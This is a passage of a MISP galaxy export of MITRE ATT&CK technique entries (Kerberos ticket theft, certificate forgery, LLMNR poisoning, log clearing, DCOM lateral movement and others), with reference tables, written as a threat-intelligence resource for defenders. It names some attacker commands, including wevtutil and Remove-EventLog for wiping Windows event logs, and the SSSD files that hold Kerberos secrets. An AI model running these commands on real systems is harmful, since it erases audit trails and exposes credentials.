The tag is: `misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547"`

Table 4977. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547">https://attack.mitre.org/techniques/T1547</a></td>
</tr>
<tr>
<td><a href="https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf">https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf</a></td>
</tr>
</tbody>
</table>

**Remotely Track Device Without Authorization - T1468**

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google’s Android Device Manager or Apple’s iCloud’s Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices. (Citation: Krebs-Location)

The tag is: `misp-galaxy:mitre-attack-pattern="Remotely Track Device Without Authorization - T1468"`

View relationships graph

Remotely Track Device Without Authorization - T1468 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Remote Device Management Services - T1430.001"` with estimative-language:likelihood-probability="almost-certain"

Table 4978. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1468">https://attack.mitre.org/techniques/T1468</a></td>
</tr>
</tbody>
</table>

2242
Steal or Forge Authentication Certificates - T1649

Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts. (Citation: O365 Blog Azure AD Device IDs) (Citation: Microsoft AD CS Overview)

Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files) (Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. (Citation: SpecterOps Certified Pre Owned) (Citation: GitHub CertStealer) (Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate's extended key usage (EUK) values define signing, encryption, and authentication use cases, while the certificate's subject alternative name (SAN) values define the certificate owner's alternate names. (Citation: Medium Certified Pre Owned)

Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.

Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). (Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext. (Citation: Medium Certified Pre Owned)

The tag is: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649"

Table 4979. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1649">https://attack.mitre.org/techniques/T1649</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)">https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)</a></td>
</tr>
<tr>
<td><a href="https://github.com/GhostPack/SharpDPAPI#certificates">https://github.com/GhostPack/SharpDPAPI#certificates</a></td>
</tr>
</tbody>
</table>
Remotely Wipe Data Without Authorization - T1469

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).

The tag is: misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469"

Table 4980. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1469">https://attack.mitre.org/techniques/T1469</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/">https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/</a></td>
</tr>
</tbody>
</table>

Install Insecure or Malicious Configuration - T1478

An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).

For example, an unwanted Certification Authority (CA) certificate could be placed in the device’s trusted certificate store, increasing the device’s susceptibility to adversary-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)).

On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device’s network traffic through an adversary’s system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).

The tag is: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478"
Install Insecure or Malicious Configuration - T1478 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1632.001"
  with estimative-language:likelihood-probability="almost-certain"

Table 4981. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1478">https://attack.mitre.org/techniques/T1478</a></td>
</tr>
</tbody>
</table>

Steal or Forge Kerberos Tickets - T1558

Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

On Windows, the built-in `<code>klist</code>` utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)

Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in `<code>/var/lib/sss/secrets/secrets.ldb</code>` as well as the corresponding key located in `<code>/var/lib/sss/secrets/.secrets.mkey</code>`. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)

Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the `<code>/etc/krb5.conf</code>` configuration file and the `<code>KRB5CCNAME</code>` environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using
<code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets. (Citation: SpectorOps Bifrost Kerberos macOS 2019) (Citation: macOS kerberos framework MIT)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558"</code>

### Table 4982. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1515">https://adsecurity.org/?p=1515</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=227">https://adsecurity.org/?p=227</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=2293">https://adsecurity.org/?p=2293</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1558">https://attack.mitre.org/techniques/T1558</a></td>
</tr>
<tr>
<td><a href="https://blog.stealthbits.com/detect-pass-the-ticket-attacks">https://blog.stealthbits.com/detect-pass-the-ticket-attacks</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-server/administration/windows-commands/klist">https://docs.microsoft.com/windows-server/administration/windows-commands/klist</a></td>
</tr>
<tr>
<td><a href="https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285">https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285</a></td>
</tr>
<tr>
<td><a href="https://github.com/gentilkiwi/kekeo">https://github.com/gentilkiwi/kekeo</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f">https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f</a></td>
</tr>
<tr>
<td><a href="https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html">https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html">https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html</a></td>
</tr>
</tbody>
</table>

### Aggregate individual’s digital footprint - T1275

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1275).

In addition to a target’s social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target’s username can mine to determine the target’s larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)
Domain Generation Algorithms (DGA) - T1323

This technique has been deprecated. Please use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1568/002).

The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)

Unconditional client-side exploitation/Injected Website/Driveby - T1372

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)

LLMNR/NBT-NS Poisoning and Relay - T1171

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name.
Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoof)(Citation: GitHub Responder)

The tag is: `misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171"

View relationships graph

LLMNR/NBT-NS Poisoning and Relay - T1171 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 4986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1171">https://attack.mitre.org/techniques/T1171</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution">https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution</a></td>
</tr>
<tr>
<td><a href="https://github.com/Kevin-Robertson/Conveigh">https://github.com/Kevin-Robertson/Conveigh</a></td>
</tr>
<tr>
<td><a href="https://github.com/SpiderLabs/Responder">https://github.com/SpiderLabs/Responder</a></td>
</tr>
<tr>
<td><a href="https://github.com/nomex/nbnspoof">https://github.com/nomex/nbnspoof</a></td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response">https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response</a></td>
</tr>
</tbody>
</table>
OS-vendor provided communication channels - T1390

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1390).

Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)

The tag is: `misp-galaxy:mitre-attack-pattern="OS-vendor provided communication channels - T1390"`

<table>
<thead>
<tr>
<th>Table 4987. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1390">https://attack.mitre.org/techniques/T1390</a></td>
</tr>
</tbody>
</table>

Multi-Factor Authentication Request Generation - T1621

Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.

Adversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.

In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)

The tag is: `misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621"`

<table>
<thead>
<tr>
<th>Table 4988. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1621">https://attack.mitre.org/techniques/T1621</a></td>
</tr>
</tbody>
</table>
Rogue Wi-Fi Access Points - T1465

An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication (Citation: NIST-SP800-153) (Citation: Kaspersky-DarkHotel).

The tag is: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465"

View relationships graph

Rogue Wi-Fi Access Points - T1465 has relationships with:


Clear Windows Event Logs - T1070.001

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

The event logs can be cleared with the following utility commands:

- <code>wevtutil cl system</code>
- <code>wevtutil cl application</code>
- <code>wevtutil cl security</code>

These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in
the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)

The tag is: misp-galaxy:mitre-attack-pattern=“Clear Windows Event Logs - T1070.001”

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1070/001">https://attack.mitre.org/techniques/T1070/001</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog">https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil">https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil</a></td>
</tr>
</tbody>
</table>

### Network Share Connection Removal - T1070.005

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the `<code>net use \system\share /delete</code>` command. (Citation: Technet Net Use)

The tag is: misp-galaxy:mitre-attack-pattern=“Network Share Connection Removal - T1070.005”

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1070/005">https://attack.mitre.org/techniques/T1070/005</a></td>
</tr>
</tbody>
</table>

### Distributed Component Object Model - T1021.003

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only
Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)

The tag is: *misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003"*

**Table 4992. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1021/003">https://attack.mitre.org/techniques/T1021/003</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mm20-application-com-object/">https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mm20-application-com-object/</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/">https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom">https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html">https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html</a></td>
</tr>
</tbody>
</table>

**Direct Cloud VM Connections - T1021.008**

Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).

Methods of authentication for these connections can include passwords, application access tokens,
or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access.

Adversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment. (Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).

The tag is: *misp-galaxy:mitre-attack-pattern="Direct Cloud VM Connections - T1021.008"*

### Table 4993. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1021/008">https://attack.mitre.org/techniques/T1021/008</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html">https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html</a></td>
</tr>
<tr>
<td><a href="https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud">https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial">https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial</a></td>
</tr>
</tbody>
</table>

**Remote Device Management Services - T1430.001**

An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service. (Citation: Krebs-Location)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Device Management Services - T1430.001"*

### Table 4994. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1430/001">https://attack.mitre.org/techniques/T1430/001</a></td>
</tr>
</tbody>
</table>

**Network Device Configuration Dump - T1602.002**

Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset.
Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.

Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.

The tag is: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002"

### Indicator Removal from Tools - T1027.005

Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.

The tag is: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"

### Additional Email Delegate Permissions - T1098.002

Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.

For example, the `<code>Add-MailboxPermission</code>` [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. (Citation: Microsoft - Add-MailboxPermission) (Citation: FireEye APT35 2018) (Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace,
delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe)

Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user's mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)

This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)

The tag is: `misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002"`

Table 4997. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1098/002">https://attack.mitre.org/techniques/T1098/002</a></td>
</tr>
<tr>
<td><a href="https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html">https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html</a></td>
</tr>
<tr>
<td><a href="https://support.google.com/a/answer/7223765?hl=en">https://support.google.com/a/answer/7223765?hl=en</a></td>
</tr>
</tbody>
</table>

**Masquerade Task or Service - T1036.004**

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make
appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)

The tag is: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"

Table 4998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1036/004">https://attack.mitre.org/techniques/T1036/004</a></td>
</tr>
<tr>
<td><a href="https://vms.drweb.com/virus/?i=4276269">https://vms.drweb.com/virus/?i=4276269</a></td>
</tr>
<tr>
<td><a href="https://www.freedesktop.org/software/systemd/man/systemd.service.html">https://www.freedesktop.org/software/systemd/man/systemd.service.html</a></td>
</tr>
</tbody>
</table>

**Archive via Custom Method - T1560.003**

An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)

The tag is: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003"

Table 4999. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1560/003">https://attack.mitre.org/techniques/T1560/003</a></td>
</tr>
</tbody>
</table>

**Additional Container Cluster Roles - T1098.006**

An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kubernetes ABAC)

This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.

Note that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes...
IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).

The tag is: `misp-galaxy:mitre-attack-pattern="Additional Container Cluster Roles - T1098.006"

Table 5000. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1098/006">https://attack.mitre.org/techniques/T1098/006</a></td>
</tr>
<tr>
<td><a href="https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters">https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters</a></td>
</tr>
<tr>
